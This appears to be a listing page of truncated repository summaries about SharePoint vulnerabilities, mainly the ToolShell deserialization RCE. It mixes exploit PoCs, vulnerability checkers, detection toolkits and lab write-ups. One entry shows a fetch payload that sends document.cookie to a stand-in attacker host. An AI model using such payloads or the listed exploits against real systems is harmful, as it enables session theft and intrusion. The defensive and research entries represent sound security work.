CVE-2026-50522

CVE-2026-50522 Poc : SharePoint Deserialization RCE SharePoint Server Unauthenticated Remote Code Execution via SecurityContextToken Cookie Deserialization Mass-scan exploit for CVE-2026-50522 targeting on-premises Microsoft SharePoint Server. Abuses insecure BinaryFormatter deserialization in th...

presentations

My presentations More things can be found in my personal site: https://sites.google.com/site/zhiniangpeng Exploiting preauth RCE and Sandbox escape vulnerabilities in EXSi, Typhooncon 2023 OLE object are still dangerous today — Exploiting Microsoft Office, POC 2023 Django-Simple-Captcha —...

CVE-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Critical — Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server CVE-2025-53770 Description Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code...

CVE-2025-53770-Checker

CVE-2025-53770-Checker Checks if an on-premises SharePoint server is vulnerable to CVE-2025-53770 Non-intrusive detector of the CVE-2025-53770 vulnerability in SharePoint Server Development: Division81 ethical hacking team of Grupo Oruss Technical Description CVE-2025-53770 is a critical .NET...

CVE-2025-53770

Divine Absolute - CVE-2025-53770 Exploit Tool Overview Divine Absolute is a sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770 , a critical CVSS 9.8 unauthenticated remote code execution RCE vulnerability in on-premises Microsoft SharePoint Server 2016, 2019, Subscription...

Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE

Microsoft SharePoint Server 2016, 2019, Subscription Edition = 2026.3.1 contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint /trust/default.aspx. The SharePoint authentication module SPFederationAuthenticationModuleV2 uses a deflate-only...

CVE-2026-56164-EXP

Microsoft SharePoint Server Elevation of Privilege - CVE-2026-56164 Functional unauthenticated EOP exploit. Overview Missing authentication for critical function CWE-306 in SharePoint Server user profile and site collection endpoints. Allows remote attackers to escalate from anonymous to Site...

sharepoint-toolshell-micro-postmortem

Incident Micro-Postmortem — Microsoft SharePoint On-Prem “ToolShell” Campaign This kit triages the mid-2025 “ToolShell” zero-day campaign against on-premises Microsoft SharePoint Server; SharePoint Online is out of scope. It delivers end-to-end reproducible hunts, comms, and figures without relyi...

CVE-2025-53770

CVE-2025-53770 SharePoint Description The deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code remotely and compromise the system. Microsoft is aware of active exploitation and is preparing a comprehensive update. Ensure that mitigations...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

CVE-2024-30043-XXE

CVE-2024-30043-XXE Credit The impact of the vulnerability is limited at present, but thanks to https://x.com/chudyPB for providing a clever bypass idea. https://x.com/chudyPB...

Sharepoint-cve-2023-29375-incident-response

SOC Incident Analysis: Microsoft SharePoint Server Elevation of Privilege CVE-2023-29375 An in-depth security investigation of a critical exploit and enumeration attempt targeting a Microsoft SharePoint server. Incident Overview Alert Name: SOC227 - Microsoft SharePoint Server Elevation of...

CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation

🚨 CVE-2025-49706 – SharePoint Spoofing Vulnerability Under Active Exploitation By Aditya Bhatt – VAPT Specialist | Red Teamer 📌 TL;DR Microsoft SharePoint is under active threat. CVE‑2025‑49706, a spoofing vulnerability in SharePoint Server, has evolved from medium-severity to real-world...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Yo, in this LetsDefend lab I dove into a SharePoint zero-day called ToolShell CVE-2025-53770. Basically, I mimicked a real-world attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection keys,...

bluefire-sharepoint-cve-2025-53770

🔐 Bluefire Redteam – SharePoint CVE-2025-53770 Detection & Remediation Toolkit This open-source toolkit provides security teams with battle-tested scripts to detect, assess, and remediate the critical SharePoint zero-day vulnerability CVE-2025-53770 CVSS 9.8 — currently being exploited in the wil...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduction I went into a SharePoint zero-day called ToolShell CVE-2025-53770 in the LetsDefend lab. I mimicked a real-world zero-day attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection key...

ZeroPoint

ZeroPoint.ps1 ⚠ A defensive PowerShell utility to detect and mitigate exploitation of the CVE-2025-53770 zero-day vulnerability in Microsoft SharePoint Server. 🔍 What it Does This PowerShell script is designed to: Detect compromise indicators, such as suspicious .aspx webshells Parse ULS logs to...

cve-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Critical — Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server CVE-2025-53770 Description Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner by DanSec A simple, effective reconnaissance tool to identify potential exposure to the critical SharePoint vulnerability CVE-2025-53770. !Warning This tool is intended for authorised testing purposes only. The author DanSec takes no responsibility for misuse or damage caus...

CVE-2025-53770

SharePoint ToolPane RCE Exploit Security research toolkit for testing SharePoint ToolPane vulnerabilities Overview • Features • Getting started • Usage • Project structure This repository contains proof-of-concept exploits and analysis tools for the SharePoint ToolPane vulnerability CVE-2025-5377...